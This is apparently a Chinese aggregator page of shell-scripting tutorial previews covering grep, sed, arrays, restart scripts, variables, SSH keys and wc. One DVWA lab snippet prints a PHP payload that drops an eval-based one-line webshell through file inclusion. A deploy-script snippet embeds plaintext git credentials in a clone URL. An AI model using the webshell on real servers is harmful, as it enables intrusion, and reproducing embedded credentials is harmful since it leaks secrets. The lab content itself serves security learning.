【shell-第三章 流程控制】教程文章相关的互联网学习教程文章

shell三剑客之grep

背景 对于很多的测试人员来说,grep命令都很熟悉,用的最多的比如去查找指定的进程:ps -ef | grep *** ,其中***为进程名或进程号,这里我们只用到的grep的最基础功能-从标准输出中过滤指定的字符串,实际上grep的功能远不止如此。这篇文章给大家来介绍下grep的进阶及高阶用法,来帮助我们在测试工作中提升效率。 grep的全称:Global search Regular Expression and Print out the line,是一种强大的文本搜索工具,它能使用特定模...

[shell]修改ini配置文件【代码】

有配置文件config.ini,内容如下:[host] host_conf=appts.xxxx.com我想要修改host_conf=appts.xxxx.com(预生产环境)的内容为host_conf=appapi.xxxx.com(线上环境) 配置脚本如下:host=appapi.xxxx.com 测试数据 host_env="hostconf=${host}" #这里注意使用双引号 line=$(sed -n /host_conf/= config.ini)  #获取要修改文件的行号 newline=$(expr $line - 1)#计算插入文件的新的位置(后面使用追加方式修改文本,故这里上 line-1) ...

Shell:结构化语句【代码】

ver: 1.0 博客:https://www.cnblogs.com/Rohn 本文介绍了Shell常用的结构化语句。目录数组获取数组所有元素获取数组元素个数数组合并删除数组元素实例选择结构if-else语句基本格式if-elseif-elif-elsecase-in语句循环结构while语句死循环until语句for语句C语言风格的 for 循环for-in循环select-in语句breakcontinue函数函数定义函数调用函数参数 数组 数组(Array)是若干数据的集合,其中的每一份数据都称为元素(Element)。 Bash只...

Shell 脚本重启项目【代码】

每次发打包好项目后都需要手动重启项目,写个Shell脚本一键重启项目 Shell 脚本 #!/bin/bashwhile getopts "n:p:" arg docase $arg inn)echo "NAME's arg:$OPTARG"NAME=$OPTARG;;p)echo "PORT's arg:$OPTARG"PORT=$OPTARG;;esac donePROCESS=echo | lsof -i TCP:$PORT | grep LISTEN | awk '{print $2}' if [ $PROCESS ]; then kill -9 $PROCESS echo kill $NAME:$PROCESS, restart fi cd jenkins cp jar/.tmp/$NAME-0.0.1-SNAPSH...

Jenkins执行shell脚本时要设置权限

目前出现了一个问题,当我独自用shell脚本执行启动springBoot时 就可以注册到eureka上 如果用jenkins执行shell脚本时 就会出现注册不上去的情况2020-11-18 13:47:54.808 INFO 29482 --- [nfoReplicator-0] com.netflix.discovery.DiscoveryClient : DiscoveryClient_XIANNANSHAN-USER/172.17.165.145:xiannanshan-user:8060: registering service... 2020-11-18 13:47:54.994 INFO 29482 --- [extShutdownHook] com.netflix....

shell大杂烩

shell高级学习之正则表达式 更新时间:2019年05月31日 08:35:21 作者:秦广王 ?我要评论 ? 这篇文章主要给大家介绍了关于shell高级学习之正则表达式的相关资料,文中通过示例代码介绍的非常详细,对大家学习或者使用shell具有一定的参考学习价值,需要的朋友们下面来一起学习学习吧 正则表达式概述 正则表达式是一种定义的规则,Linux工具可以用它来过滤文本。 基础正则表达式 纯文本?1 2 3 4[root@node1 ~]# echo "this i...

DVWA笔记:利用文件包含漏洞(低级)获取webshell【代码】【图】

DVWA中文件包含漏洞(远程文件包含) 一、利用kali虚拟机建立服务器,并建立x.txt文件作为远程上传文件: 1、开启kali服务器,输入命令 service apache2 start2、建立x.txt,在/var/www/html/目录下创建,内容为: <?fputs(fopen("shell60.php","w"),'<?php eval($_POST[moxi]);?>')?>该代码执行时,将会创建一个名为shell60.php的一句话木马文件。后期通过菜刀软件连接,密码为moxi。 二、文件上传 1、打开DVWA页面,将kali中的文...

PowerShell yarn 系统上禁止运行脚本的解决办法【图】

完成yarn安装 无法检测版本 yarn安装完成后 无法检测版本号 是因为在此系统上禁止运行脚本。 解决办法 : 1、搜索 powershell (电源外壳) - 右键选择 - 以管理员身份运行2、RemoteSigned (远程签名) 在本地计算机 给未签名的脚本执行签名 确保正常运行 执行:set-ExecutionPolicy RemoteSigned 执行:get-ExecutionPolicy 可以查看策略点赞 收藏分享文章举报前端开发程序员发布了0 篇原创文章 · 获赞 0 · 访问量 30私信 ...

shell教程

=============================shell脚本=================================脚本实例: #!/bin/bash 声明解释器 for i in $(ls /etc);do echo $i done readonly 变量名 ----- 使变量变为只读,不可删除unset 变量名 ------- 删除变量,但是不能删除只读变量 字符串中---单引号:无变量,没有转移符 ---双引号:可有变量,可出现转义符 shell 中的字符串拼接,不用加+,python需要 echo ${#变量} 获取字符串长度echo ${变量:1:3} ...

shell - 拉取代码部署执行【代码】

#!/bin/bashnodejs_path=/data/myserver/yihao01-node-jscd /data/myserverif [ -d "$nodejs_path" ]; thencd $nodejs_path && git pull https://zuomiaomiao:zuomiaomiao123@gitlab.0easy.com/aiotcloud/yihao01-node-js.git elsegit clone https://zuomiaomiao:zuomiaomiao123@gitlab.0easy.com/aiotcloud/yihao01-node-js.git fiipaddr=172.0.0.1 #ipaddr=$(ip addr | awk /^[0-9]+: / {}; /inet.*global/ {print gensub(/(.*)...

shell编程(2)【代码】

1. shell变量简介 2. 定义变量 3. 使用变量 4. 修改变量的值 5. 单引号和双引号的区别 6. 将命令的结果赋值给变量 7. 删除变量 8. 变量类型 9. 特殊变量列表 10. 退出状态 11. shell表达式与运算符 11.1 条件表达式 11.2 整数比较符 11.3 字符串比较符 11.4 文件测试 11.5 布尔运算符 11.6 逻辑判断符 11.7 整数运算 11.8 其他运算工具 11.9 shell括号用途总结 shell变量简介 变量是任何一种编程语...

Shell变量概述【代码】

目录 1. Shell变量概述 1.定义变量,变量名=变量值。不能出现"-横杠"命令 2.引用变量,$变量名 3.查看变量,set显示所有变量,包括自定义变量和环境变量 4.取消变量,作用范围:仅在当前Shell中有效。 5.注意事项,引用变量时注意事项,单双引号和不加引号的区别。 注意: 2.执行结果如下: 3.这里需要注意 $*和$@的区别 执行结果如下: 自定义变量运算 命令的嵌套使用,使用$($()) 2. Shell变量赋值echo命令输出颜色。 3. Shell变...

Shell脚本编程01

来自b站学习课程https://www.bilibili.com/video/BV19t411s7Jx?p=3P3 小节[root@tz script]# ping -c1 www.baidu.com &>/dev/null && echo "baidu is up" || echo "baidu is down!" baidu is up &>包含正确输出和错误输出&&前面命令执行成功会返回一个参数$?,值为0,执行不成功值为非0

SSH-XShell6密钥登录服务器配置【代码】【图】

将生成的本地公钥上传至 /root/.ssh/目录下 并追加至authorized_keys[root@web01 .ssh]# ls authorized_keys known_hosts lyw_rsa_3072.pub [root@web01 .ssh]# cat lyw_rsa_3072.pub >> authorized_keys [root@web01 .ssh]# pwd /root/.ssh [root@web01 .ssh]# 修改/etc/ssh/sshd_config配置文件 AuthorizedKeysFile .ssh/authorized_keys 配置改为 AuthorizedKeysFile /root/.ssh/authorized_keys # PubkeyAuthenti...

shell命令--wc【代码】

shell命令--wc 0、wc命令的专属图床点此快速打开文章【图床_shell命令wc】1、wc命令的功能说明? wc 命令用于计算字数。利用 wc 指令我们可以计算文件的字节数,字数,或是列数,若不指定文件名称,或是所给予的文件名为 “ - ”,则 wc 指令会从标准输入设备读取数据。2、wc命令的语法格式SYNOPSISwc [OPTION]... [FILE]...wc [OPTION]... --files0-from=F3、wc命令的选项说明-c或--bytes或--chars:只显示Bytes数。 -l或--lines:...